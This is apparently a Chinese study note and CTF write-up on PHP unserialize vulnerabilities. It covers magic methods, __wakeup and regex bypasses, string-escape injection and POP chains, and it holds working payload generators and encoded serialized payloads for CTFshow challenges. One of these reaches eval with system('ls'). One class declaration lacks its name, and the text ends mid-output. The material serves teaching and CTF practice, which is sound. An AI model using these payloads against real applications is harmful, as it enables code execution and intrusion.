php反序列化学习

基础

理解

PHP序列化:serialize()

序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

而PHP反序列化:unserialize()

反序列化是将字符串转换成变量或对象的过程

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化

序列化

首先每一个序列化后的小段都由; 隔开, 使用{}表示层级关系

数据类型 提示符 格式
字符串 s s:长度:”内容”
已转义字符串 S s:长度:”转义后的内容”
整数 i i:数值
布尔值 b b:1 => true / b:0 => false
空值 N N;
数组 a a:大小:{键序列段;值序列段;<重复多次>}
对象 O O:类型名长度:”类型名称”:成员数:{成员名称序列段;成员值序列段:}
引用 R R:反序列化变量的序号, 从1开始

例子如下:

1
2
3
4
5
6
7
8
9
10
class Kengwang
{
public $name = "kengwang";
public $age = 18;
public $sex = true;
public $route = LearningRoute::Web;
public $tag = array("dino", "cdut", "chengdu");
public $girlFriend = null;
private $pants = "red"; // not true
}

序列化后如下所示(下面经过整理,一般都为一行):

1
2
3
4
5
6
7
8
9
10
11
12
13
O:8:"Kengwang":7:{ // 定义了一个对象 [O], 对象名称长度为 [8], 对象类型数为 [7]
s:4:"name";s:8:"kengwang"; // 第一个字段名称是[4]个长度的"name", 值为长度为[8]的字符串([s]) "kengwang"
s:3:"age";i:18; // 第二个字段名称是长度为[3]的"age", 值为整数型([i]): 18
s:3:"sex";b:1; // 第三个字段名称是长度为[3]的"sex", 值为布尔型([b]): 1 -> true
s:5:"route";E:17:"LearningRoute:Web"; // 第四个字段名称是长度为[5]的"route", 值为枚举类型([E]), 枚举值长度为 [17], 值为 "...":
s:3:"tag";a:3:{ // 长度为 [3] 的数组([a])
i:0;s:4:"dino"; // 第[0]个元素
i:1;s:4:"cdut";
i:2;s:7:"chengdu";
}
s:10:"girlFriend";N; // 字段 "girlFriend" 为 NULL
s:15:" Kengwang pants";s:3:"red"; // 私有字段名称为 类型名 字段名, 其中类型名用 NULL 字符包裹
}

关于非公有字段名称(\x00其实就是空格):

  • private 使用: 私有的类的名称 (考虑到继承的情况) 和字段名组合 \x00类名称\x00字段名
  • protected 使用: * 和字段名组合 \x00*\x00字段名

魔术方法

__construct(笔记php有详细解释)

构造函数, 在对应对象实例化时自动被调用. 子类中的构造函数不会隐式调用父类的构造函数

__wakeup

与 sleep () 方法相比,wakeup () 方法通常用于反序列化操作,例如重建数据库连接或执行其他初始化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='Male')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __sleep() {
echo "It is called when the serialize() method is called outside the class.<br>";
$this->name = base64_encode($this->name);
return array('name', 'age'); //它必须返回一个值,该值的元素是返回的属性的名称
}
public function __wakeup() {
echo "It is called when the unserialize() method is called outside the class.<br>";
$this->name = 2;
$this->sex = 'Male';
// There is no need to return an array here.
}
}
$person = new Person('John');
var_dump(serialize($person));//var_dump():以易于阅读的方式显示变量的详细信息,包括类型、长度和值
var_dump(unserialize(serialize($person)));
代码运行结果如下:
It is called when the serialize() method is called outside the class.
string(58) "O:6:"Person":2:{s:4:"name";s:8:"5bCP5piO";s:3:"age";i:25;}"
It is called when the unserialize() method is called outside the class.
object(Person)#2 (3) { ["sex"]=> string(3) "Male" ["name"]=> int(2) ["age"]=> int(25) }

__sleep

serialize () 方法将检查类中是否有魔术方法__sleep ()。如果存在,将首先调用该方法,然后执行序列化操作。

__sleep () 方法通常用于指定保存数据之前需要序列化的属性。如果有一些非常大的对象不需要全部保存,那么您会发现此功能非常有用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='Male')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __sleep() {
echo "It is called when the serialize() method is called outside the class.<br>";
$this->name = base64_encode($this->name);
return array('name', 'age'); //它必须返回一个值,该值的元素是返回的属性的名称
}
}
$person = new Person('John'); // Initially assigned.
echo serialize($person);
echo '<br/>';
显示结果如下:
It is called when the serialize() method is called outside the class.
O:6:"Person":2:{s:4:"name";s:8:"5bCP5piO";s:3:"age";i:25;}

__toString

只要对象被当作字符串来用,就会调用__toString () 方法。

或者说是强制类型转换为string时,也会调用该方法:$a = (string)$obj,其中$obj为一个对象

再举个例子,eval函数的参数类型为字符串,当eval($obj)时,便会自动调动__toString()方法

但是要注意,在序列化的过程中是不会自动调用(string)方法的,所以我们要在序列化过程中调用__tostring方法的话就必须要用另一种方法,比如字符串的拼接:"".$obj

注意:此方法必须返回一个字符串,否则将在 E_RECOVERABLE_ERROR 级别上引发致命错误。而且您也不能在__toString () 方法中抛出异常

1
2
3
4
public function __toString()
{
return 'go go go';
}

当然, 因为 PHP 是一个弱类型语言, 很多情况对象会被隐式转换成字符串, 比如说

  • == 与字符串比较时会被隐式转换
  • 字符串操作 (str系列函数), 字符串拼接, addslashes
  • 一些参数需要为字符串的参数: class_exists , in_array(第一个参数), SQL 预编译语句, md5, sha1
  • print, echo 函数

__get

当试图访问对象中未定义或不可见的属性时会被自动调用

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Person
{
private $name;
private $age;

function __construct($name="", $age=1)
{
$this->name = $name;
$this->age = $age;
}

public function __get($propertyName)
{
if ($propertyName == "age") {
if ($this->age > 30) {
return $this->age - 10;
} else {
return $this->$propertyName;
}
} else {
return $this->$propertyName;
}
}
}
$Person = new Person("John", 60);
echo "Name:" . $Person->name . "<br>";
echo "Age:" . $Person->age . "<br>";
显示结果如下:
Name: John
Age: 50

__set

当你尝试给一个不可访问的属性(例如私有属性或不存在的属性)赋值时,__set() 会被自动调用

set ($property,$value) 方法用于设置类的私有属性。分配了未定义的属性后,将触发 set () 方法,并且传递的参数是设置的属性名称和值。例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Person
{
private $name;
private $age;
public function __construct($name="", $age=25)
{
$this->name = $name;
$this->age = $age;
}
public function __set($property, $value) {
if ($property=="age")
{
if ($value > 150 || $value < 0) {
return;
}
}
$this->$property = $value;
}
public function say(){
echo "My name is ".$this->name.",I'm ".$this->age." years old";
}
}
$Person=new Person("John", 25); //请注意,类初始化并为“name”和“age”分配初始值。
$Person->name = "Lili"; // "name" 属性值被成功修改。如果没有__set()方法,程序将报错。
$Person->age = 16; // "age"属性修改成功。
$Person->age = 160; //160是无效值,因此修改失败。
$Person->say(); //输出:My name is Lili, I'm 16 years old。

__invoke

对象当做函数调用时会使用, 例如 $foo()

当然不仅限于显式调用, 将其作为回调函数 (例如 array_map作为第一个参数传入) 也会调用此函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Person
{
public $sex;
public $name;
public $age;

public function __construct($name="", $age=25, $sex='Male')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

public function __invoke() {
echo 'This is an object';
}

}

$person = new Person('John'); // Initially assigned.
$person();
执行结果如下:
This is an object

如果坚持使用对象作为方法 (但未定义__invoke () 方法),会报错

__call

调用未定义方法时会调用

该方法接受两个参数。第一个参数为未定义的方法名称,第二个参数则为传入方法的参数构成的数组,语法如下:

1
2
3
4
function __call(string $function_name, array $arguments)
{
// method body
}

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Person
{
function say()
{
echo "Hello, world!<br>";
}
function __call($funName, $arguments)
{
echo "The function you called:" . $funName . "(parameter:" ; // Print the method's name that is not existed.
print_r($arguments); // Print the parameter list of the method that is not existed.
echo ")does not exist!!<br>\n";
}
}
$Person = new Person();
$Person->run("teacher"); // If the method which is not existed is called within the object, then the __call() method will be called automatically.
$Person->eat("John", "apple");
$Person->say();
显示结果
The function you called: run (parameter: Array([0] => teacher)) does not exist!
The function you called: eat (parameter: Array([0] => John[1] => apple)) does not exist!
Hello world!

__callStatic()

当在程序中调用未定义的静态方法,__callStatic() 方法将会被自动调用。

__callStatic()的用法类似于__call(),例子代码与上面例子的基本相似,其中的 ::代表调用静态方法

1
2
$Person::run("teacher"); // 如果此项目内不存在的方法被调用了,那么 __callStatic() 方法将被自动调用。
$Person::eat("John", "apple");

__isset

如果在对象外部使用 isset () 方法,则有两种情况:

如果该参数是公共属性,则可以使用 isset () 方法确定是否设置了该属性。

如果参数是私有属性,则 isset () 方法将不起作用。当然,只要在类中定义__isset () 方法,就可以在类外部使用 isset () 方法来确定是否设置了私有属性。

当在未定义或不可访问的属性上调用 isset () 或 empty () 时,将调用__isset () 方法。下面是一个例子:

1
2
3
4
public function __isset($content) {
echo "The {$content} property is private,the __isset() method is called automatically.<br>";
echo isset($this->$content);
}

__unset

isset () 方法类似,当在未定义或不可访问的属性上调用 unset () 方法时,将调用 unset () 方法

1
2
3
4
5
6
7
8
9
public function __unset($content) {
echo "It is called automatically when we use the unset() method outside the class.<br>";
echo isset($this->$content);
}
}
$person = new Person("John", 25); // Initially assigned.
unset($person->sex),"<br>";
unset($person->name),"<br>";
unset($person->age),"<br>";

__debugInfo

当执行 var_dump() 方法时,__debugInfo() 方法会被自动调用。如果 __debugInfo() 方法未被定义,那么 var_dump 方法或打印出这个对象的所有属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class C {
private $prop;
public function __construct($val) {
$this->prop = $val;
}
public function __debugInfo() {
return [
'propSquared' => $this->prop ** 2,
];
}//返回必须是数组
}
var_dump(new C(42));
执行结果如下:
object(C)#1 (1) { ["propSquared"]=> int(1764) }

__set_state () (不懂)

从 PHP 5.1.0 开始,在调用 var_export () 导出类代码时会自动调用__set_state () 方法。

__set_state () 方法的参数是一个包含所有属性值的数组,其格式为 array (‘property’=> value,…)

在以下示例中,没有定义__set_state () 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='Male')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
}
$person = new Person('John');
var_export($person);
执行结果如下:
Person::__set_state(array( 'sex' => 'Male', 'name' => 'John', 'age' => 25, ))

定义__set_state () 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
public static function __set_state($an_array)
{
$a = new Person();
$a->name = $an_array['name'];
return $a;
}

}
$person = new Person('John');
$person->name = 'Jams';
var_export($person);
执行结果如下:
Person::__set_state(array( 'sex' => 'Male', 'name' => 'Jams', 'age' => 25, ))

__clone()

在 PHP 中,我们可以使用 clone 关键字通过以下语法克隆对象:

1
$copy_of_object = clone $object;

但是,使用 clone 关键字只是一个浅拷贝,因为所有引用的属性仍将指向原始变量。

如果在对象中定义了 clone () 方法,则将在复制生成的对象中调用 clone () 方法,该方法可用于修改属性的值 (如有必要)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='Male')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __clone()
{
echo __METHOD__."your are cloning the object.<br>";
//$this->name = "Joe" //复制对象时重置姓名为Joe
}
}
$person = new Person('John'); // Initially assigned.
$person2 = clone $person;
var_dump('persion1:');
var_dump($person);
echo '<br>';
var_dump('persion2:');
var_dump($person2);
运行结果如下:
Person::__clone your are cloning the object.
string(9) "persion1:" object(Person)#1 (3) { ["sex"]=> string(3) "Male" ["name"]=> string(6) "John" ["age"]=> int(25) }
string(9) "persion2:" object(Person)#2 (3) { ["sex"]=> string(3) "Male" ["name"]=> string(6) "John" ["age"]=> int(25) }

__autoload ()

__autoload () 方法可以尝试加载未定义的类。

过去,如果要在程序文件中创建 100 个对象,则必须使用 include () 或 require () 来包含 100 个类文件,或者必须在同一类文件中定义 100 个类;那么使用__autoload () 方法呢,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* file autoload_demo.php
*/
function __autoload($className) {
$filePath = “project/class/{$className}.php”;
if (is_readable($filePath)) {
require($filePath);
}
}

if (ConditionA) {
$a = new A();
$b = new B();
$c = new C();
// …
} else if (ConditionB) {
$a = newA();
$b = new B();
// …
}

当 PHP 引擎第一次使用类 A 时,如果未找到类 A,则 autoload 方法将被自动调用,并且类名称 “A” 将作为参数传递。因此,我们在 autoload () 方法中需要做的是根据类名找到相应的类文件,然后将其包含在内。如果找不到该文件,则 php 引擎将抛出异常

__unserialize()

  • __unserialize() 是 PHP 7.4 引入的方法,提供了一种更安全、更灵活的方式来控制对象反序列化过程。它允许开发者处理从序列化字符串恢复对象时的具体逻辑

如果类中定义了 __unserialize() 方法

  • 当使用 unserialize() 函数反序列化对象时,__unserialize() 方法会被调用。
  • 这是因为 __unserialize() 提供了更直接的控制反序列化过程的方式,优先级高于 __wakeup()

如果类中未定义 __unserialize() 方法

  • 当使用 unserialize() 函数反序列化对象时,如果 __unserialize() 不存在但 __wakeup() 存在,那么 __wakeup() 会被调用。

魔术方法执行顺序

对于魔术方法的调用顺序, 不同的情况下会有不同的顺序

首先, 一个对象在其生命周期中一定会走过 destruct, 只有当对象没有被任何变量指向时才会被回收

当使用 new 关键字来创建一个对象时会调用 construct

对于序列化/反序列化时的情况:

序列化时会先调用 sleep 再调用 destruct, 故而完整的调用顺序为: sleep -> (变量存在) -> destruct

反序列化时如果有 __wakeup 则会调用 __wakeUp 而不是 __construct, 故而逻辑为 __wakeUp/__construct -> (变量存在)

当然,也有不遵守这个顺序的情况

绕过

非公有字段绕过

对于 php7.1+ 版本, 反序列化时若提供的命名为公有字段格式, 会忽略掉非公有字段的访问性, 而可以绕过直接直接对其赋值

这个时候我们有两种方法可以

  1. 在写序列化 php 文件时可以直接将字段改成 public
  2. 修改序列化后的字段名, 改为公开字段的样式, 记得修改字符数

绕过 __wakeup

影响版本php5<5.6.25,php7<7.010

简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

例如:

1
O:4:"Dino":1:{s:4:"addr";s:3:"209";}

改为:

1
O:4:"Dino":114514:{s:4:"addr";s:3:"209";}

[极客大挑战 2019]PHP __wakeup()绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php  
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}

看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
class Name{
private $username = 'admin';
private $password = '100';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new Name('admin','100');
echo urlencode(serialize($a));
//echo serialize($a);
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
?>

先生成一个对象,然后序列化,修改对象个数为大于2并Url编码,套到题目里面去,得到flag

十六进制绕过字符匹配

我们可以使用十六进制搭配上已转义字符串来绕过对某些字符的检测,例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Read
{
public $name;

public function __wakeup()
{
if ($this->name == "flag")
{
echo "You did it!";
}
}
}
$str = '';
if (strpos($str, "flag") === false)
{
$obj = unserialize($str);
}
else
{
echo "You can't do it!";
}

这里检测了是否包含 flag 字符, 我们可以尝试使用 flag 的十六进制 \66\6c\61\67 来绕过, 构造以下:

1
'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'

利用好引用

对于需要判断两个变量是否相等时, 我们可以考虑使用引用来让两个变量始终相等.

这个相当于一个指针一样, 代码如下:

1
2
3
4
5
6
7
class A {
public $a;
public $b;
}
$a = new A();
$a->a = &$a->b;
echo serialize($a);

序列化后的结果为:

1
O:1:"A":2:{s:1:"a";N;s:1:"b";R:2;}

对象反序列化正则绕过

有些时候我们会看到^O:\d+ 这种的正则表达式, 要求开头不能为对象反序列化

这种情况我们有以下绕过手段

  1. 由于\d只判断了是否为数字, 则可以在个数前添加+号来绕过正则表达式
  2. 将这个对象嵌套在其他类型的反序列化之中, 例如数组

当然, 第一种更佳. 因为若不只匹配开头则仍可以绕过

字符逃逸

对于字符逃逸, 由于 PHP 序列化后的字符类型中的引号不会被转义, 对于字符串末尾靠提供的字符数量来读取, 对于服务端上将传入的字符串实际长度进行增加或减少(例如替换指定字符到更长/短的字符), 我们就可以将其溢出并我们的恶意字符串反序列化.

由短变长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Book
{
public $id = 114514;
public $name = "Kengwang 学习笔记"; // 可控
public $path = "Kengwang 学习笔记.md";
}
function filter($str)
{
return str_replace("'", "\\'", $str);
}
$exampleBook = new Book();
echo "[处理前]<br>\n";
$ser = serialize($exampleBook);
echo $ser . "<br>\n";
echo "[处理后]<br>\n";
$ser = filter($ser);
echo $ser . "<br>\n";
echo "[文件路径] <br>\n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "<br>\n";

这种情况下我们通常只能控制其中的一个字符变量, 而不是整个反序列话字符串. 题目会将其先序列化, 再进行字符处理, 之后再反序列化(类似于将对象存储到数据库)

此代码会将其中的单引号过滤成为转义+单引号, 此时字符串的长度会进行变化, 我们可以利用这一点使 name 中的东西溢出到 path 中.

我们构造恶意字符串时需要先将前面的双引号闭合,同时分号表示此变量结束. 在攻击变量结束之后我们需要用 ;} 结束当前的序列化, 会自动忽略掉这之后的序列化

我们的每一个单引号会变成两个字符, 于是可以将我们的恶意字符给顶掉, 我们只需要提供恶意字符串长度个会被放大变成两倍的字符.

当然如果不是两倍, 我们可以灵活运用 + 来进行倍数配齐

例如我们需要恶意构造 ";s:4:"path";s:4:"flag";}s:4:"fake";s:34:, 长度为 41, 于是我们提供 41 个',最终给 name 的赋值为

1
Kengwang 的学习笔记'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:

运行结果如下:

1
2
3
4
5
6
[处理前]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的学习笔记'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[处理后]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的学习笔记\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[文件路径]
flag

可以看到 path 被替换成了 flag

由长变短

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Book
{
public $id = 1919810;
public $name = "Kengwang 的学习笔记"; // 可控
public $description = "The WORST Web Security Leaning Note"; // 可控
public $path = "Kengwang 的学习笔记.md";
}
function filter($str)
{
return str_replace("'", "", $str);
}
$exampleBook = new Book();
echo "[处理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[处理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路径] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

正常序列化后的字符串:

1
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:24:"Kengwang 的学习笔记";s:11:"description";s:35:"The WORST Web Security Leaning Note";s:4:"path";s:27:"Kengwang 的学习笔记.md";}

我们需要让 ";s:11:"description";s:35: 被吞掉作为 name 变量的值, description的前引号会将其闭合, 此后 description 中的就会逃逸出成为反序列化串, 于是我们在 name 中填入 要被吞掉的字符数目 个', 于是尝试

name 赋值为 Kengwang Note''''''''''''''''''''''''''

description 赋值为 ;s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"

得到结果如下

1
2
3
4
5
6
[处理前]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note''''''''''''''''''''''''''";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的学习 笔记.md";}
[处理后]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[文件路径]
flag

POP链构造

做这种题关键是php魔术方法,构造POP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发

难的是要找出这条链,直接上实例来理解

[SWPUCTF 2021 新生赛]pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);

POP链入手,先找关键代码,然后推断

需要admin为w44m,passwd为08067 才能得到flag

if($this->admin === ‘w44m’ && $this->passwd ===’08067’){

echo $flag;

发现可以利用$this->w00m->{$this->w22m}();

这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

前面魔术方法提到

__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php  
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m="";
public $w22m="getflag";
public function __toString(){
$this->w00m->{$this->w22m}();
return 1;
}
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
echo urlencode( serialize($a));

CTFshow

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这道题并没有考到反序列化的相关知识点,而是考你阅读代码的能力,这题的得到flag的前提是get传参进来的username和password要和类中一开始定义的值一样

所以我们get传参:?username=xxxxxx&password=xxxxxx

得到flag,题目解决

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这道题开始简单的反序列化了,这次类中的函数login不会在改变$isVip的值,而是单纯地用作判断

观察下面的代码逻辑,首先要get传参进两个变量username和password的值,然后要让这两个值的等于原本类中的值,成立了之后会判断函数checkVip()的布尔值要为true,符合要求后才会得到flag

因为题目中有反序列化的步骤,所以我们要自己构造序列化的代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='root';
public $password='root';
public $isVip=true;

}

$a = new ctfShowUser();
echo urlencode(serialize($a));

得到编码后的序列化为:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22root%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

回到题目环境,get传参:?username=root&password=root,然后在hackbar中的cookie处写入:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22root%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

发送,得到flag,题目解决

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这道题和上面一道题的区别在于username的值和password的值要不一样,改一下就可以了,序列化后的值如下:

1
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22flag%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

得到flag,题目解决

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

error_reporting(0);
highlight_file(__FILE__);

class
{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

这题难度加大了一点,我们先来分析一下源码

类ctfShowUser的__construct()方法中会初始化一个类info,赋给$class,__destruct()方法会调用$class对象中的函数getInfo

我们可以看到类info中的getInfo函数中并没有什么有价值的东西,反而是另一个类backDoor中的同名函数,里面有危险函数eval,可以将其中的任意字符串当作php代码执行,这题中的是$this->code,所以我们要通过它进行rce

所以综上我们在类ctfShowUser的__construct()方法中应该初始化类backDoor

get传参:?username=xxxxxx&password=xxxxxx

我们构造的序列化代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}

}

class backDoor{
private $code="system('ls');";
public function getInfo(){
eval($this->code);
}
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

得到的序列化编码为:

1
